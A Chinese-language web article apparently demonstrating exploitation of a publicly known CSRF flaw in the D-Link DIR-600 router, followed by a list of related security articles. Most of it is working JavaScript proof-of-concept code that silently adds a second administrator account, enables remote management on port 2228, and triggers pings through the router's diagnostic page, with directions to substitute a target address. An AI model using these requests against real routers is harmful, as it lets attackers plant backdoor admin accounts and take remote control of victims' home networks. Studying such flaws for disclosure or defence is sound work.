使用CSRF漏洞攻擊D-link路由器全過程

1,介紹
本文的目的是展示CSRF漏洞的危害,以D-link的DIR-600路由器(硬件版本:BX,固件版本:2.16)的CSRF漏洞為例。
D-link的CSRF漏洞已經(jīng)是公開的,本文將詳細(xì)描述一下整個D-link CSRF漏洞的利用,如何通過CSRF漏洞實現(xiàn)遠(yuǎn)程管理訪問D-link路由器。
2,CSRF漏洞說明
如果某些request請求中沒有csrf token或不需要密碼授權(quán),會存在CSRF漏洞,該漏洞允許攻擊者偽造登錄用戶發(fā)送請求,因此可以導(dǎo)致用戶執(zhí)行攻擊者想要的操作請求。
通過D-link 管理面板的CSRF漏洞,攻擊者可以做以下操作:
@1,添加一個新的管理帳號;
@2,啟用路由器的遠(yuǎn)程管理;
@3,ping特定的機(jī)器;此操作只需要登錄路由器就可以實現(xiàn),需要知道路由器的WAN IP地址。
3,PART1:給路由器增加一個新的管理帳號
需要兩個request請求來完成
REQUEST1:
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/hedwig.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>
REQUEST2:
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "ACTIONS=SETCFG%2CSAVE%2CACTIVATE";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request2" onclick="submitRequest();" />
</form>
</body>
</html>
REQUEST1和REQUEST2中,默認(rèn)的路由局域網(wǎng)IP地址是192.198.0.1,管理帳號是admin,REQUEST1中的request請求中,當(dāng)密碼字段為==OoXxGgYy==的時候,是不會修改admin帳號的密碼的。這兩個請求完成了管理帳號admin2的添加,同時啟用了遠(yuǎn)程管理端口2228.
PART2:ping特定的主機(jī)
REQUEST3:
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.0.1/diagnostic.php", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.withCredentials = "true";
var body = "act=ping&dst=X.Y.Z.W";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request3" onclick="submitRequest();" />
</form>
</body>
</html>
只需要求該代碼中的X.Y.Z.W為你需要ping的主機(jī)IP地址就可以。
相關(guān)文章
- 偶爾在網(wǎng)上看到這些,拿來和大家一塊看看,也好讓各個站長懂得保護(hù)自己的網(wǎng)站2012-10-16
- 安全狗是一款大家熟悉的服務(wù)器安全加固產(chǎn)品,據(jù)稱已經(jīng)擁有50W的用戶量。最近經(jīng)過一些研究,發(fā)現(xiàn)安全狗的一些防護(hù)功能,例如SQL注入、文件上傳、防webshell等都可以被繞過2014-07-17
中國移動mas2.0平臺系統(tǒng)漏洞暴光 附修復(fù)方法
MAS是中國移動的短信代理網(wǎng)關(guān)(平臺)。MAS是Mobile Agent Server的簡稱。目前多個政府部門、國有大型企業(yè)部門、運營商、金融部門都采用該平臺。MAS2.0是中國新一代的代理2012-05-11查找Centos Linux服務(wù)器上入侵者的WebShell后門
服務(wù)器被掛馬或被黑的朋友應(yīng)該知道,黑客入侵web服務(wù)器的第一目標(biāo)是往服務(wù)器上上傳一個webshell,有了webshell黑客就可以干更多的事 情2012-07-10- PHP網(wǎng)頁的安全性問題,針對PHP的網(wǎng)站主要存在下面幾種攻擊方式2011-03-11
- 我們的服務(wù)器又出入侵事故了。有客戶的html 網(wǎng)頁底部被插入了一段js 腳本, 導(dǎo)致訪客打開網(wǎng)頁時被殺毒軟件警告網(wǎng)站上有惡意代碼2012-07-10
- 漏洞說明: php是一款被廣泛使用的編程語言,可以被嵌套在html里用做web程序開發(fā)。phpinfo()是用來顯示當(dāng)前php環(huán)境的一個函數(shù),許多站點和程序都會將phpinfo放在自己2008-10-08
最新win2003 II6解析漏洞實戰(zhàn)及應(yīng)用
新 win2003 IIS6 解析漏洞,大家可以參考下,注意防范。2009-11-23服務(wù)器上網(wǎng)站被掛Iframe木馬的解決方法
今天訪問公司的一個網(wǎng)站,突然發(fā)現(xiàn)網(wǎng)頁顯示不對,右鍵查看HTML代碼,發(fā)現(xiàn)iframe了一個網(wǎng)站的js文件,不用說,肯定被掛馬了2014-07-31- 大部分的用戶可能不要了解文件上傳漏洞,下面小編就為大家具體的講解什么事文件上傳漏洞以及文件上傳漏洞的幾種方式2016-11-02